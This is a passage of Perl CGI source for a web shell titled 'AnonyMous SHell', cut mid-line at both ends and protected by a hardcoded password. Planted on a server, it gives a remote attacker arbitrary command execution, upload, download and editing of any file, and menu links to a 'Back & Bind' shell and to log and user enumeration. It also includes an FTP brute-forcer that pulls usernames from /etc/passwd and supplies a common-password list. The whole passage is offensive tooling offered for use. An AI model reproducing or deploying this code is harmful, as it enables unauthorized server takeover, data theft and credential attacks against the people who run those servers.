s/\\\\/\\\\\\\\/g;\n\tprint \"Content-type: text/html\\n\\n\";\n\tprint <<END;\n<html>\n<head>\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\n<title>AnonyMous SHell</title>\n\n\$HtmlMetaHeader\n\n</head>\n<style>\nbody{\nfont: 10pt Verdana;\n}\ntr {\nBORDER-RIGHT:  #64489096 1px solid;\nBORDER-TOP:    #64489096 1px solid;\nBORDER-LEFT:   #64489096 1px solid;\nBORDER-BOTTOM: #64489096 1px solid;\ncolor: #fff;\n}\ntd {\nBORDER-RIGHT:  #64489096 1px solid;\nBORDER-TOP:    #64489096 1px solid;\nBORDER-LEFT:   #64489096 1px solid;\nBORDER-BOTTOM: #64489096 1px solid;\ncolor: #fff;\nfont: 10pt Verdana;\n}\n\ntable {\nBORDER-RIGHT:  #64489096 1px solid;\nBORDER-TOP:    #64489096 1px solid;\nBORDER-LEFT:   #64489096 1px solid;\nBORDER-BOTTOM: #64489096 1px solid;\nBACKGROUND-COLOR: #111;\n}\n\n\ninput {\nBORDER-RIGHT:  #64489096 1px solid;\nBORDER-TOP:    #64489096 1px solid;\nBORDER-LEFT:   #64489096 1px solid;\nBORDER-BOTTOM: #64489096 1px solid;\nBACKGROUND-COLOR: Black;\nfont: 10pt Verdana;\ncolor: #fff;\n}\n\ninput.submit {\ntext-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;\ncolor: #FFFFFF;\nborder-color: #009900;\n}\n\ncode {\nborder\t\t\t: dashed 0px #333;\nborder-style:dashed;\nBACKGROUND-COLOR: Black;\nfont: 10pt Verdana bold;\ncolor: while;\n}\n\nrun {\nborder\t\t\t: dashed 0px #333;\nborder-style:dashed;\nfont: 10pt Verdana bold;\ncolor: #FF00AA;\n}\n\ntextarea {\nBORDER-RIGHT:  #64489096 1px solid;\nBORDER-TOP:    #64489096 1px solid;\nBORDER-LEFT:   #64489096 1px solid;\nBORDER-BOTTOM: #64489096 1px solid;\nBACKGROUND-COLOR: #1b1b1b;\nborder-style:dashed;\nfont: Fixedsys bold;\ncolor: #aaa;\n}\nA:link {\n\tCOLOR: #fff; TEXT-DECORATION: none\n}\nA:visited {\n\tCOLOR: #fff; TEXT-DECORATION: none\n}\nA:hover {\n\ttext-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;\n\tcolor: #fff; TEXT-DECORATION: none\n}\nA:active {\n\tcolor: Red; TEXT-DECORATION: none\n}\n\n.listdir tr:hover{\n\tbackground: #444;\n}\n.listdir tr:hover td{\n\tbackground: #444;\n\ttext-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;\n\tcolor: #FFFFFF; TEXT-DECORATION: none;\n}\n.notline{\n\tbackground: #111;\n}\n.line{\n\tbackground: #372c4878;\n}\n</style>\n<script language=\"javascript\">\nfunction chmod_form(i,file)\n{\n\t/*var ajax='ajax_PostData(\"FormPerms_'+i+'\",\"\$ScriptLocation\",\"ResponseData\"); return false;';*/\n\tvar ajax=\"\";\n\tdocument.getElementById(\"FilePerms_\"+i).innerHTML=\"<form name=FormPerms_\" + i+ \" action=' method='POST'><input id=text_\" + i + \"  name=chmod type=text size=5 /><input type=submit class='submit' onclick='\" + ajax + \"' value=OK><input type=hidden name=a value='gui'><input type=hidden name=d value='\$dir'><input type=hidden name=f value='\"+file+\"'></form>\";\n\tdocument.getElementById(\"text_\" + i).focus();\n}\nfunction rm_chmod_form(response,i,perms,file)\n{\n\tresponse.innerHTML = \"<span onclick=\\\\\\\"chmod_form(\" + i + \",'\"+ file+ \"')\\\\\\\" >\"+ perms +\"</span></td>\";\n}\nfunction rename_form(i,file,f)\n{\n\tvar ajax=\"\";\n\tf.replace(/\\\\\\\\/g,\"\\\\\\\\\\\\\\\\\");\n\tvar back=\"rm_rename_form(\"+i+\",\\\\\\\"\"+file+\"\\\\\\\",\\\\\\\"\"+f+\"\\\\\\\"); return false;\";\n\tdocument.getElementById(\"File_\"+i).innerHTML=\"<form name=FormPerms_\" + i+ \" action=' method='POST'><input id=text_\" + i + \"  name=rename type=text value= '\"+file+\"' /><input type=submit class='submit' onclick='\" + ajax + \"' value=OK><input type=submit class='submit' onclick='\" + back + \"' value=Cancel><input type=hidden name=a value='gui'><input type=hidden name=d value='\$dir'><input type=hidden name=f value='\"+file+\"'></form>\";\n\tdocument.getElementById(\"text_\" + i).focus();\n}\nfunction rm_rename_form(i,file,f)\n{\n\tif(f=='f')\n\t{\n\t\tdocument.getElementById(\"File_\"+i).innerHTML=\"<a href='?a=command&d=\$dir&c=edit%20\"+file+\"%20'>\" +file+ \"</a>\";\n\t}else\n\t{\n\t\tdocument.getElementById(\"File_\"+i).innerHTML=\"<a href='?a=gui&d=\"+f+\"'>[ \" +file+ \" ]</a>\";\n\t}\n}\n</script>\n<body onLoad=\"document.f.@_.focus()\" bgcolor=\"#0c0c0c\" topmargin=\"0\" leftmargin=\"0\" marginwidth=\"0\" marginheight=\"0\">\n<center><code>\n<table border=\"1\" width=\"100%\" cellspacing=\"0\" cellpadding=\"2\">\n<tr>\n\t<td align=\"center\" rowspan=2>\n\t\t<b><font size=\"5\">\$EditPersion</font></b>\n\t</td>\n\n\t<td>\n\n\t\t<font face=\"Verdana\" size=\"2\">\$ENV{\"SERVER_SOFTWARE\"}</font>\n\t</td>\n\t<td>Server IP:<font color=\"green\"> \$ENV{'SERVER_ADDR'}</font> | Your IP: <font color=\"green\">\$ENV{'REMOTE_ADDR'}</font>\n\t</td>\n\n</tr>\n\n<tr>\n<td colspan=\"3\"><font face=\"Verdana\" size=\"2\">\n<a href=\"\$ScriptLocation\">Home</a> | \n<a href=\"\$ScriptLocation?a=command&d=\$EncodedCurrentDir\">Command</a> |\n<a href=\"\$ScriptLocation?a=gui&d=\$EncodedCurrentDir\">GUI</a> | \n<a href=\"\$ScriptLocation?a=upload&d=\$EncodedCurrentDir\">Upload File</a> | \n<a href=\"\$ScriptLocation?a=download&d=\$EncodedCurrentDir\">Download File</a> |\n\n<a href=\"\$ScriptLocation?a=backbind\">Back & Bind</a> |\n<a href=\"\$ScriptLocation?a=bruteforcer\">Brute Forcer</a> |\n<a href=\"\$ScriptLocation?a=checklog\">Check Log</a> |\n<a href=\"\$ScriptLocation?a=domainsuser\">Domains/Users</a> |\n<a href=\"\$ScriptLocation?a=logout\">Logout</a> |\n<a target='_blank' href=\"#\">Help</a>\n\n</font></td>\n</tr>\n</table>\n<font id=\"ResponseData\" color=\"#ff99cc\" >\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the Login Screen\n#------------------------------------------------------------------------------\nsub PrintLoginScreen\n{\n\n\tprint <<END;\n<pre><script type=\"text/javascript\">\nTypingText = function(element, interval, cursor, finishedCallback) {\n  if((typeof document.getElementById == \"undefined\") || (typeof element.innerHTML == \"undefined\")) {\n    this.running = true;\t// Never run.\n    return;\n  }\n  this.element = element;\n  this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });\n  this.interval = (typeof interval == \"undefined\" ? 100 : interval);\n  this.origText = this.element.innerHTML;\n  this.unparsedOrigText = this.origText;\n  this.cursor = (cursor ? cursor : \"\");\n  this.currentText = \"\";\n  this.currentChar = 0;\n  this.element.typingText = this;\n  if(this.element.id == \"\") this.element.id = \"typingtext\" + TypingText.currentIndex++;\n  TypingText.all.push(this);\n  this.running = false;\n  this.inTag = false;\n  this.tagBuffer = \"\";\n  this.inHTMLEntity = false;\n  this.HTMLEntityBuffer = \"\";\n}\nTypingText.all = new Array();\nTypingText.currentIndex = 0;\nTypingText.runAll = function() {\n  for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();\n}\nTypingText.prototype.run = function() {\n  if(this.running) return;\n  if(typeof this.origText == \"undefined\") {\n    setTimeout(\"document.getElementById('\" + this.element.id + \"').typingText.run()\", this.interval);\t// We haven't finished loading yet.  Have patience.\n    return;\n  }\n  if(this.currentText == \"\") this.element.innerHTML = \"\";\n//  this.origText = this.origText.replace(/<([^<])*>/, \"\");     // Strip HTML from text.\n  if(this.currentChar < this.origText.length) {\n    if(this.origText.charAt(this.currentChar) == \"<\" && !this.inTag) {\n      this.tagBuffer = \"<\";\n      this.inTag = true;\n      this.currentChar++;\n      this.run();\n      return;\n    } else if(this.origText.charAt(this.currentChar) == \">\" && this.inTag) {\n      this.tagBuffer += \">\";\n      this.inTag = false;\n      this.currentText += this.tagBuffer;\n      this.currentChar++;\n      this.run();\n      return;\n    } else if(this.inTag) {\n      this.tagBuffer += this.origText.charAt(this.currentChar);\n      this.currentChar++;\n      this.run();\n      return;\n    } else if(this.origText.charAt(this.currentChar) == \"&\" && !this.inHTMLEntity) {\n      this.HTMLEntityBuffer = \"&\";\n      this.inHTMLEntity = true;\n      this.currentChar++;\n      this.run();\n      return;\n    } else if(this.origText.charAt(this.currentChar) == \";\" && this.inHTMLEntity) {\n      this.HTMLEntityBuffer += \";\";\n      this.inHTMLEntity = false;\n      this.currentText += this.HTMLEntityBuffer;\n      this.currentChar++;\n      this.run();\n      return;\n    } else if(this.inHTMLEntity) {\n      this.HTMLEntityBuffer += this.origText.charAt(this.currentChar);\n      this.currentChar++;\n      this.run();\n      return;\n    } else {\n      this.currentText += this.origText.charAt(this.currentChar);\n    }\n    this.element.innerHTML = this.currentText;\n    this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == \"function\" ? this.cursor(this.currentText) : this.cursor) : \"\");\n    this.currentChar++;\n    setTimeout(\"document.getElementById('\" + this.element.id + \"').typingText.run()\", this.interval);\n  } else {\n\tthis.currentText = \"\";\n\tthis.currentChar = 0;\n        this.running = false;\n        this.finishedCallback();\n  }\n}\n</script>\n</pre>\n\n<font style=\"font: 20pt Verdana; color: #d055ef;\">AnonyMous SHell</font><br><br><font style=\"font: 10pt Verdana; color: #d055ef;\">Password : anonymous</font><br>\n<table align=\"center\" border=\"1\"  border-style=\"dashed\" width=\"600\" heigh>\n<tbody><tr>\n<td valign=\"top\" background=\"http://dl.dropbox.com/u/10860051/images/matran.gif\"><p id=\"hack\" style=\"margin-left: 3px;\">\n<font color=\"#009900\"> Please Wait . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .</font> <br>\n\n<font color=\"#009900\"> Trying connect to Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .</font><br>\n<font color=\"#F00000\"><font color=\"#FFF000\">~\\\$</font> Connected ! </font><br>\n<font color=\"#009900\"><font color=\"#FFF000\">\$ServerName~</font> Checking Server . . . . . . . . . . . . . . . . . . .</font> <br>\n\n<font color=\"#009900\"><font color=\"#FFF000\">\$ServerName~</font> Trying connect to Command . . . . . . . . . . .</font><br>\n\n<font color=\"#F00000\"><font color=\"#FFF000\">\$ServerName~</font>\\\$ Connected Command! </font><br>\n<font color=\"#009900\"><font color=\"#FFF000\">\$ServerName~<font color=\"#F00000\">\\\$</font></font> OK! You can kill it!</font>\n</tr>\n</tbody></table>\n<br>\n\n<script type=\"text/javascript\">\nnew TypingText(document.getElementById(\"hack\"), 30, function(i){ var ar = new Array(\"_\",\"\"); return \" \" + ar[i.length % ar.length]; });\nTypingText.runAll();\n\n</script>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Add html special chars\n#------------------------------------------------------------------------------\nsub HtmlSpecialChars(\$){\n\tmy \$text = shift;\n\t\$text =~ s/&/&/g;\n\t\$text =~ s/\"/"/g;\n\t\$text =~ s/'/'/g;\n\t\$text =~ s/</</g;\n\t\$text =~ s/>/>/g;\n\treturn \$text;\n}\n#------------------------------------------------------------------------------\n# Add link for directory\n#------------------------------------------------------------------------------\nsub AddLinkDir(\$)\n{\n\tmy \$ac=shift;\n\tmy @dir=();\n\tif(\$WinNT)\n\t{\n\t\t@dir=split(/\\\\/,\$CurrentDir);\n\t}else\n\t{\n\t\t@dir=split(\"/\",&trim(\$CurrentDir));\n\t}\n\tmy \$path=\"\";\n\tmy \$result=\"\";\n\tforeach (@dir)\n\t{\n\t\t\$path .= \$_.\$PathSep;\n\t\t\$result.=\"<a href='?a=\".\$ac.\"&d=\".\$path.\"'>\".\$_.\$PathSep.\"</a>\";\n\t}\n\treturn \$result;\n}\n#------------------------------------------------------------------------------\n# Prints the message that informs the user of a failed login\n#------------------------------------------------------------------------------\nsub PrintLoginFailedMessage\n{\n\tprint <<END;\n<br>Login : Administrator<br>\n\nPassword:<br>\nLogin incorrect<br><br>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML form for logging in\n#------------------------------------------------------------------------------\nsub PrintLoginForm\n{\n\tprint <<END;\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n<input type=\"hidden\" name=\"a\" value=\"login\">\nLogin : Administrator<br>\nPassword:<input type=\"password\" name=\"p\">\n<input class=\"submit\" type=\"submit\" value=\"Enter\">\n</form>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the footer for the HTML Page\n#------------------------------------------------------------------------------\nsub PrintPageFooter\n{\n\tprint \"<br></code></center></body></html>\";\n}\n\n#------------------------------------------------------------------------------\n# Retreives the values of all cookies. The cookies can be accesses using the\n# variable \$Cookies{'}\n#------------------------------------------------------------------------------\nsub GetCookies\n{\n\t@httpcookies = split(/; /,\$ENV{'HTTP_COOKIE'});\n\tforeach \$cookie(@httpcookies)\n\t{\n\t\t(\$id, \$val) = split(/=/, \$cookie);\n\t\t\$Cookies{\$id} = \$val;\n\t}\n}\n\n#------------------------------------------------------------------------------\n# Prints the screen when the user logs out\n#------------------------------------------------------------------------------\nsub PrintLogoutScreen\n{\n\tprint \"Connection closed by foreign host.<br><br>\";\n}\n\n#------------------------------------------------------------------------------\n# Logs out the user and allows the user to login again\n#------------------------------------------------------------------------------\nsub PerformLogout\n{\n\tprint \"Set-Cookie: SAVEDPWD=;\\n\"; # remove password cookie\n\t&PrintPageHeader(\"p\");\n\t&PrintLogoutScreen;\n\n\t&PrintLoginScreen;\n\t&PrintLoginForm;\n\t&PrintPageFooter;\n\texit;\n}\n\n#------------------------------------------------------------------------------\n# This function is called to login the user. If the password matches, it\n# displays a page that allows the user to run commands. If the password doens't\n# match or if no password is entered, it displays a form that allows the user\n# to login\n#------------------------------------------------------------------------------\nsub PerformLogin \n{\n\tif(\$LoginPassword eq \$Password) # password matched\n\t{\n\t\tprint \"Set-Cookie: SAVEDPWD=\$LoginPassword;\\n\";\n\t\t&PrintPageHeader;\n\t\tprint &ListDir;\n\t}\n\telse # password didn't match\n\t{\n\t\t&PrintPageHeader(\"p\");\n\t\t&PrintLoginScreen;\n\t\tif(\$LoginPassword ne \"\") # some password was entered\n\t\t{\n\t\t\t&PrintLoginFailedMessage;\n\n\t\t}\n\t\t&PrintLoginForm;\n\t\t&PrintPageFooter;\n\t\texit;\n\t}\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML form that allows the user to enter commands\n#------------------------------------------------------------------------------\nsub PrintCommandLineInputForm\n{\n\tmy \$dir= \"<span style='font: 11pt Verdana; font-weight: bold;'>\".&AddLinkDir(\"command\").\"</span>\";\n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"<font color='green'>[admin\\@\$ServerName \$dir]\\\$</font> \";\n\treturn <<END;\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n\n<input type=\"hidden\" name=\"a\" value=\"command\">\n\n<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\n\$Prompt\n<input type=\"text\" size=\"40\" name=\"c\">\n<input class=\"submit\"type=\"submit\" value=\"Enter\">\n</form>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML form that allows the user to download files\n#------------------------------------------------------------------------------\nsub PrintFileDownloadForm\n{\n\tmy \$dir = &AddLinkDir(\"download\"); \n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"[admin\\@\$ServerName \$dir]\\\$ \";\n\treturn <<END;\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\n<input type=\"hidden\" name=\"a\" value=\"download\">\n\$Prompt download<br><br>\nFilename: <input class=\"file\" type=\"text\" name=\"f\" size=\"35\"><br><br>\nDownload: <input class=\"submit\" type=\"submit\" value=\"Begin\">\n\n</form>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML form that allows the user to upload files\n#------------------------------------------------------------------------------\nsub PrintFileUploadForm\n{\n\tmy \$dir= &AddLinkDir(\"upload\");\n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"[admin\\@\$ServerName \$dir]\\\$ \";\n\treturn <<END;\n<form name=\"f\" enctype=\"multipart/form-data\" method=\"POST\" action=\"\$ScriptLocation\">\n\$Prompt upload<br><br>\nFilename: <input class=\"file\" type=\"file\" name=\"f\" size=\"35\"><br><br>\nOptions:  <input type=\"checkbox\" name=\"o\" id=\"up\" value=\"overwrite\">\n<label for=\"up\">Overwrite if it Exists</label><br><br>\nUpload:   <input class=\"submit\" type=\"submit\" value=\"Begin\">\n<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\n<input class=\"submit\" type=\"hidden\" name=\"a\" value=\"upload\">\n\n</form>\n\nEND\n}\n\n#------------------------------------------------------------------------------\n# This function is called when the timeout for a command expires. We need to\n# terminate the script immediately. This function is valid only on Unix. It is\n# never called when the script is running on NT.\n#------------------------------------------------------------------------------\nsub CommandTimeout\n{\n\tif(!\$WinNT)\n\t{\n\t\talarm(0);\n\t\treturn <<END;\n</textarea>\n<br><font color=yellow>\nCommand exceeded maximum time of \$CommandTimeoutDuration second(s).</font>\n<br><font size='6' color=red>Killed it!</font>\nEND\n\t}\n}\n\n\n\n#------------------------------------------------------------------------------\n# This function displays the page that contains a link which allows the user\n# to download the specified file. The page also contains a auto-refresh\n# feature that starts the download automatically.\n# Argument 1: Fully qualified filename of the file to be downloaded\n#------------------------------------------------------------------------------\nsub PrintDownloadLinkPage\n{\n\tlocal(\$FileUrl) = @_;\n\tmy \$result=\"\";\n\tif(-e \$FileUrl) # if the file exists\n\t{\n\t\t# encode the file link so we can send it to the browser\n\t\t\$FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack(\"H*\",\$1)/eg;\n\t\t\$DownloadLink = \"\$ScriptLocation?a=download&f=\$FileUrl&o=go\";\n\t\t\$HtmlMetaHeader = \"<meta HTTP-EQUIV=\\\"Refresh\\\" CONTENT=\\\"1; URL=\$DownloadLink\\\">\";\n\t\t&PrintPageHeader(\"c\");\n\t\t\$result .= <<END;\nSending File \$TransferFile...<br>\n\nIf the download does not start automatically,\n<a href=\"\$DownloadLink\">Click Here</a>\nEND\n\t\t\$result .= &PrintCommandLineInputForm;\n\t}\n\telse # file doesn't exist\n\t{\n\t\t\$result .= \"Failed to download \$FileUrl: \$!\";\n\t\t\$result .= &PrintFileDownloadForm;\n\t}\n\treturn \$result;\n}\n\n#------------------------------------------------------------------------------\n# This function reads the specified file from the disk and sends it to the\n# browser, so that it can be downloaded by the user.\n# Argument 1: Fully qualified pathname of the file to be sent.\n#------------------------------------------------------------------------------\nsub SendFileToBrowser\n{\n\tmy \$result = \"\";\n\tlocal(\$SendFile) = @_;\n\tif(open(SENDFILE, \$SendFile)) # file opened for reading\n\t{\n\t\tif(\$WinNT)\n\t\t{\n\t\t\tbinmode(SENDFILE);\n\t\t\tbinmode(STDOUT);\n\t\t}\n\t\t\$FileSize = (stat(\$SendFile))[7];\n\t\t(\$Filename = \$SendFile) =~  m!([^/^\\\\]*)\$!;\n\t\tprint \"Content-Type: application/x-unknown\\n\";\n\t\tprint \"Content-Length: \$FileSize\\n\";\n\t\tprint \"Content-Disposition: attachment; filename=\$1\\n\\n\";\n\t\tprint while(<SENDFILE>);\n\t\tclose(SENDFILE);\n\t\texit(1);\n\t}\n\telse # failed to open file\n\t{\n\t\t\$result .= \"Failed to download \$SendFile: \$!\";\n\t\t\$result .=&PrintFileDownloadForm;\n\t}\n\treturn \$result;\n}\n\n\n#------------------------------------------------------------------------------\n# This function is called when the user downloads a file. It displays a message\n# to the user and provides a link through which the file can be downloaded.\n# This function is also called when the user clicks on that link. In this case,\n# the file is read and sent to the browser.\n#------------------------------------------------------------------------------\nsub BeginDownload\n{\n\t# get fully qualified path of the file to be downloaded\n\tif((\$WinNT & (\$TransferFile =~ m/^\\\\|^.:/)) |\n\t\t(!\$WinNT & (\$TransferFile =~ m/^\\//))) # path is absolute\n\t{\n\t\t\$TargetFile = \$TransferFile;\n\t}\n\telse # path is relative\n\t{\n\t\tchop(\$TargetFile) if(\$TargetFile = \$CurrentDir) =~ m/[\\\\\\/]\$/;\n\t\t\$TargetFile .= \$PathSep.\$TransferFile;\n\t}\n\n\tif(\$Options eq \"go\") # we have to send the file\n\t{\n\t\t&SendFileToBrowser(\$TargetFile);\n\t}\n\telse # we have to send only the link page\n\t{\n\t\t&PrintDownloadLinkPage(\$TargetFile);\n\t}\n}\n\n#------------------------------------------------------------------------------\n# This function is called when the user wants to upload a file. If the\n# file is not specified, it displays a form allowing the user to specify a\n# file, otherwise it starts the upload process.\n#------------------------------------------------------------------------------\nsub UploadFile\n{\n\t# if no file is specified, print the upload form again\n\tif(\$TransferFile eq \"\")\n\t{\n\t\treturn &PrintFileUploadForm;\n\n\t}\n\tmy \$result=\"\";\n\t# start the uploading process\n\t\$result .= \"Uploading \$TransferFile to \$CurrentDir...<br>\";\n\n\t# get the fullly qualified pathname of the file to be created\n\tchop(\$TargetName) if (\$TargetName = \$CurrentDir) =~ m/[\\\\\\/]\$/;\n\t\$TransferFile =~ m!([^/^\\\\]*)\$!;\n\t\$TargetName .= \$PathSep.\$1;\n\n\t\$TargetFileSize = length(\$in{'filedata'});\n\t# if the file exists and we are not supposed to overwrite it\n\tif(-e \$TargetName && \$Options ne \"overwrite\")\n\t{\n\t\t\$result .= \"Failed: Destination file already exists.<br>\";\n\t}\n\telse # file is not present\n\t{\n\t\tif(open(UPLOADFILE, \">\$TargetName\"))\n\t\t{\n\t\t\tbinmode(UPLOADFILE) if \$WinNT;\n\t\t\tprint UPLOADFILE \$in{'filedata'};\n\t\t\tclose(UPLOADFILE);\n\t\t\t\$result .= \"Transfered \$TargetFileSize Bytes.<br>\";\n\t\t\t\$result .= \"File Path: \$TargetName<br>\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\$result .= \"Failed: \$!<br>\";\n\t\t}\n\t}\n\t\$result .= &PrintCommandLineInputForm;\n\treturn \$result;\n}\n\n#------------------------------------------------------------------------------\n# This function is called when the user wants to download a file. If the\n# filename is not specified, it displays a form allowing the user to specify a\n# file, otherwise it displays a message to the user and provides a link\n# through  which the file can be downloaded.\n#------------------------------------------------------------------------------\nsub DownloadFile\n{\n\t# if no file is specified, print the download form again\n\tif(\$TransferFile eq \"\")\n\t{\n\t\t&PrintPageHeader(\"f\");\n\t\treturn &PrintFileDownloadForm;\n\t}\n\t\n\t# get fully qualified path of the file to be downloaded\n\tif((\$WinNT & (\$TransferFile =~ m/^\\\\|^.:/)) | (!\$WinNT & (\$TransferFile =~ m/^\\//))) # path is absolute\n\t{\n\t\t\$TargetFile = \$TransferFile;\n\t}\n\telse # path is relative\n\t{\n\t\tchop(\$TargetFile) if(\$TargetFile = \$CurrentDir) =~ m/[\\\\\\/]\$/;\n\t\t\$TargetFile .= \$PathSep.\$TransferFile;\n\t}\n\n\tif(\$Options eq \"go\") # we have to send the file\n\t{\n\t\treturn &SendFileToBrowser(\$TargetFile);\n\t}\n\telse # we have to send only the link page\n\t{\n\t\treturn &PrintDownloadLinkPage(\$TargetFile);\n\t}\n}\n\n\n#------------------------------------------------------------------------------\n# This function is called to execute commands. It displays the output of the\n# command and allows the user to enter another command. The change directory\n# command is handled differently. In this case, the new directory is stored in\n# an internal variable and is used each time a command has to be executed. The\n# output of the change directory command is not displayed to the users\n# therefore error messages cannot be displayed.\n#------------------------------------------------------------------------------\nsub ExecuteCommand\n{\n\tmy \$result=\"\";\n\tif(\$RunCommand =~ m/^\\s*cd\\s+(.+)/) # it is a change dir command\n\t{\n\t\t# we change the directory internally. The output of the\n\t\t# command is not displayed.\n\t\t\$Command = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\"cd \$1\".\$CmdSep.\$CmdPwd;\n\t\tchop(\$CurrentDir = `\$Command`);\n\t\t\$result .= &PrintCommandLineInputForm;\n\n\t\t\$result .= \"Command: <run>\$RunCommand </run><br><textarea cols='\$cols' rows='\$rows' spellcheck='false'>\";\n\t\t# xuat thong tin khi chuyen den 1 thu muc nao do!\n\t\t\$RunCommand= \$WinNT?\"dir\":\"dir -lia\";\n\t\t\$result .= &RunCmd;\n\t}elsif(\$RunCommand =~ m/^\\s*edit\\s+(.+)/)\n\t{\n\t\t\$result .=  &SaveFileForm;\n\t}else\n\t{\n\t\t\$result .= &PrintCommandLineInputForm;\n\t\t\$result .= \"Command: <run>\$RunCommand</run><br><textarea id='data' cols='\$cols' rows='\$rows' spellcheck='false'>\";\n\t\t\$result .=&RunCmd;\n\t}\n\t\$result .=  \"</textarea>\";\n\treturn \$result;\n}\n\n#------------------------------------------------------------------------\n# run command\n#------------------------------------------------------------------------\n\nsub RunCmd\n{\n\tmy \$result=\"\";\n\t\$Command = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\$RunCommand.\$Redirector;\n\tif(!\$WinNT)\n\t{\n\t\t\$SIG{'ALRM'} = \\&CommandTimeout;\n\t\talarm(\$CommandTimeoutDuration);\n\t}\n\tif(\$ShowDynamicOutput) # show output as it is generated\n\t{\n\t\t\$|=1;\n\t\t\$Command .= \" |\";\n\t\topen(CommandOutput, \$Command);\n\t\twhile(<CommandOutput>)\n\t\t{\n\t\t\t\$_ =~ s/(\\n|\\r\\n)\$//;\n\t\t\t\$result .= &HtmlSpecialChars(\"\$_\\n\");\n\t\t}\n\t\t\$|=0;\n\t}\n\telse # show output after command completes\n\t{\n\t\t\$result .= &HtmlSpecialChars('\$Command');\n\t}\n\tif(!\$WinNT)\n\t{\n\t\talarm(0);\n\t}\n\treturn \$result;\n}\n#==============================================================================\n# Form Save File \n#==============================================================================\nsub SaveFileForm\n{\n\tmy \$result =\"\";\n\tsubstr(\$RunCommand,0,5)=\"\";\n\tmy \$file=&trim(\$RunCommand);\n\t\$save='<br><input name=\"a\" type=\"submit\" value=\"save\" class=\"submit\" >';\n\t\$File=\$CurrentDir.\$PathSep.\$RunCommand;\n\tmy \$dir=\"<span style='font: 11pt Verdana; font-weight: bold;'>\".&AddLinkDir(\"gui\").\"</span>\";\n\tif(-w \$File)\n\t{\n\t\t\$rows=\"23\"\n\t}else\n\t{\n\t\t\$msg=\"<br><font style='font: 15pt Verdana; color: yellow;' > Permission denied!<font><br>\";\n\t\t\$rows=\"20\"\n\t}\n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"<font color='#FFFFFF'>[admin\\@\$ServerName \$dir]\\\$</font> \";\n\t\$read=(\$WinNT)?\"type\":\"less\";\n\t\$RunCommand = \"\$read \\\"\$RunCommand\\\"\";\n\t\$result .=  <<END;\n\t<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n\n\t<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\n\t\$Prompt\n\t<input type=\"text\" size=\"40\" name=\"c\">\n\t<input name=\"s\" class=\"submit\" type=\"submit\" value=\"Enter\">\n\t<br>Command: <run> \$RunCommand </run>\n\t<input type=\"hidden\" name=\"file\" value=\"\$file\" > \$save <br> \$msg\n\t<br><textarea id=\"data\" name=\"data\" cols=\"\$cols\" rows=\"\$rows\" spellcheck=\"false\">\nEND\n\t\n\t\$result .= &RunCmd;\n\t\$result .=  \"</textarea>\";\n\t\$result .=  \"</form>\";\n\treturn \$result;\n}\n#==============================================================================\n# Save File\n#==============================================================================\nsub SaveFile(\$)\n{\n\tmy \$Data= shift ;\n\tmy \$File= shift;\n\t\$File=\$CurrentDir.\$PathSep.\$File;\n\tif(open(FILE, \">\$File\"))\n\t{\n\t\tbinmode FILE;\n\t\tprint FILE \$Data;\n\t\tclose FILE;\n\t\treturn 1;\n\t}else\n\t{\n\t\treturn 0;\n\t}\n}\n#------------------------------------------------------------------------------\n# Brute Forcer Form\n#------------------------------------------------------------------------------\nsub BruteForcerForm\n{\n\tmy \$result=\"\";\n\t\$result .= <<END;\n\n<table>\n\n<tr>\n<td colspan=\"2\" align=\"center\">\n####################################<br>\nSimple FTP brute forcer<br>\n####################################\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n\n<input type=\"hidden\" name=\"a\" value=\"bruteforcer\"/>\n</td>\n</tr>\n<tr>\n<td>User:<br><textarea rows=\"18\" cols=\"30\" name=\"user\">\nEND\nchop(\$result .= `less /etc/passwd | cut -d: -f1`);\n\$result .= <<'END';\n</textarea></td>\n<td>\n\nPass:<br>\n<textarea rows=\"18\" cols=\"30\" name=\"pass\">123pass\n123!@#\n123admin\n123abc\n123456admin\n1234554321\n12344321\npass123\nadmin\nadmincp\nadministrator\nmatkhau\npassadmin\np@ssword\np@ssw0rd\npassword\n123456\n1234567\n12345678\n123456789\n1234567890\n111111\n000000\n222222\n333333\n444444\n555555\n666666\n777777\n888888\n999999\n123123\n234234\n345345\n456456\n567567\n678678\n789789\n123321\n456654\n654321\n7654321\n87654321\n987654321\n0987654321\nadmin123\nadmin123456\nabcdef\nabcabc\n!@#!@#\n!@#\$%^\n!@#\$%^&*(\n!@#\$\$#@!\nabc123\nanhyeuem\niloveyou</textarea>\n</td>\n</tr>\n<tr>\n<td colspan=\"2\" align=\"center\">\nSleep:<select name=\"sleep\">\n\n<option>0</option>\n<option>1</option>\n<option>2</option>\n\n<option>3</option>\n</select> \n<input type=\"submit\" class=\"submit\" value=\"Brute 